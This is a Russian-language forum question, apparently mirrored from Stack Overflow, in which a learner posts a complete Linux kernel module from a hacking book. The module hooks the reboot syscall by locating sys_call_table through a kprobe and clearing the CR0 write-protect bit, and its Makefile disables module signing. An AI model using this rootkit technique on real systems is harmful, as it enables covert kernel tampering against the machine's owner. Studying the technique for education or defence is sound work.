Я читал книгу по хакерству и наткнулся на раздел, посвященный руткитам. В частности, создание программы C для замены функции перезагрузки в таблице системных вызовов ядра на модифицированную, что означает возврат константы EPERM, которая сообщает, что пользователь не соответствует требованиям для перезагрузки своей системы. Это будет означать, что пользователь не сможет перезагрузить свое ядро, если у него установлен модуль .ko, несмотря на то, что он может попытаться перезагрузиться. Вот мой модуль.
Код: Выделить всё
#include [*]
#include
#include
#include
#include
// Manually set the write bit
static void my_write_cr0(unsigned long value) {
asm volatile("mov %0, %%cr0" :: "r"(value) : "memory");
}
#define disable_write_protection() my_write_cr0(read_cr0() & (~0x10000))
#define enable_write_protection() my_write_cr0(read_cr0() | (0x10000))
#define enable_reboot 0
unsigned long *sys_call_table_address;
asmlinkage long (*old_reboot_sys_call)(int, int, int, void *);
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
unsigned long * get_system_call_table_address(void) {
kallsyms_lookup_name_t kallsyms_lookup_name;
int ret = register_kprobe(&kp);
if (ret < 0) {
printk(KERN_ALERT "EHROOTKIT: register_kprobe failed, returned %d\n", ret);
return NULL;
}
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
if (!kallsyms_lookup_name) {
printk(KERN_ALERT "EHROOTKIT: kallsyms_lookup_name not found\n");
return NULL;
}
return (unsigned long *)kallsyms_lookup_name("sys_call_table");
}
asmlinkage long hackers_reboot(int magic1, int magic2, int cmd, void *arg) {
if (enable_reboot) {
return old_reboot_sys_call(magic1, magic2, cmd, arg);
}
printk(KERN_NOTICE "EHROOTKIT: Blocked reboot Call");
return -EPERM;
}
void hook_sys_call(void) {
old_reboot_sys_call = (void *)sys_call_table_address[__NR_reboot];
disable_write_protection();
sys_call_table_address[__NR_reboot] = (unsigned long)hackers_reboot;
enable_write_protection();
printk(KERN_NOTICE "EHROOTKIT: Hooked reboot Call");
}
void restore_reboot_sys_call(void) {
disable_write_protection();
sys_call_table_address[__NR_reboot] = (unsigned long)old_reboot_sys_call;
enable_write_protection();
}
static int __init startup(void) {
printk(KERN_ALERT "EHROOTKIT: ATTEMPTING TO HOOK REBOOT CALL\n");
sys_call_table_address = get_system_call_table_address();
if (!sys_call_table_address) {
printk(KERN_ALERT "EHROOTKIT: Failed to get sys_call_table_address\n");
return -1;
}
hook_sys_call();
return 0;
}
static void __exit shutdown(void) {
restore_reboot_sys_call();
}
module_init(startup);
module_exit(shutdown);
MODULE_LICENSE("GPL");
Код: Выделить всё
CONFIG_MODULE_SIG=n
CONFIG_MODULE_SIG_ALL=n
obj-m += reboot_blocker.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Пока всё было хорошо, пока этого не произошло. Я перезагружаюсь через терминал, и в книге утверждается, что должен перезагружаться только графический интерфейс, но не ядро. Я пингую Кали с другого устройства, и пинги приостанавливаются. После этого при выполнении sudo lsmod модуль нигде не виден. Проверка dmesg показывает, что ядро явно перезагружено, сообщения от EHROOTKIT нет. Возникает вопрос(ы):
- Можно ли сохранить установленные модули ядра после «перезагрузки»?
- Если да, то виноват ли мой модуль в неправильном кодировании? Я что-то упускаю?
Подробнее здесь: https://stackoverflow.com/questions/787 ... -installed
Мобильная версия